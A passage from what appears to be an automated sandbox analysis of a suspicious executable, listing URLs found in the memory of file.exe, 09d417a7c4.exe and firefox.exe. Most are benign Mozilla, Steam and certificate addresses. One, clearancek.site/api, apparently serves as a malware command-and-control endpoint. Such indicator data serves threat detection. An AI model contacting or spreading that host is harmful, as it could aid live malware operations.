0000001B.00000002.3138012152.0000025510103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3123492561.000002550B021000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2974971166.0000025510299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001B.00000002.3134271614.000002550E9D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001B.00000002.3134271614.000002550E9D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.0000025508530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3096434663.00000255093AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowe
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cooj%
Source: file.exe, file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186250006.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186229688.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282756998.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203677272.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2140178683.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186250006.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186229688.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282756998.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203677272.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2140178683.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186250006.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186229688.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282756998.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203677272.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2140178683.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateSERVICE_UPDATER_COULD_NOT_BE_STARTEDapp.update.noWindowAutoRes
Source: firefox.exe, 0000001B.00000002.3090601585.0000025508DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A818000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082366027.000002550846A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.0000025508503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3037710941.00000255059A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3120468368.000002550AA61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3120468368.000002550AA1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.0000025508530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3108863668.00000255098D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3116694729.000002550A6B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3037710941.00000255059C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3120468368.000002550AA3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulAttempting
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3123492561.000002550B0E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2168419842.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2818101315.0000000005D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3123492561.000002550B0E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.3140692267.00000255104E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: firefox.exe, 0000001B.00000002.3086777923.0000025508790000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885518412.0000025507B3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2886400929.0000025507B81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884833153.0000025508100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3140692267.00000255104B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885905066.0000025507B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2141362319.0000000005769000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141309506.000000000576C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141466478.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787827086.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787926502.0000000005D87000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2788192740.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.caget
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001B.00000002.3090601585.0000025508D5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.000002550741D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001B.00000002.3037710941.0000025505945000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507CD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgwidget.use-xdg-desktop-portalbrowser.migration.versionnetwork.proxy.backup
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3114655458.000002550A388000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2982586081.000002550A0B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.s
Source: 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.2170327401.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2170327401.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2141362319.0000000005769000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141309506.000000000576C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141466478.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787827086.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787926502.0000000005D87000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2788192740.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2141362319.0000000005769000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141309506.000000000576C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141466478.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787827086.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787926502.0000000005D87000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2788192740.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2141362319.0000000005769000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141309506.000000000576C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141466478.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787827086.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787926502.0000000005D87000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2788192740.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/apiA
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203693833.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283865897.0000000000D61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186229688.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.R
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.clo
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloud
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflarQ
Source: file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203693833.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283865897.0000000000D61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186229688.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.stea
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic
Source: 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203693833.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283865897.0000000000D61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186229688.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/p
Source: 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globa
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: 09d417a7c4.exe, 00000010.00000003.2912331391.000000000101E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e
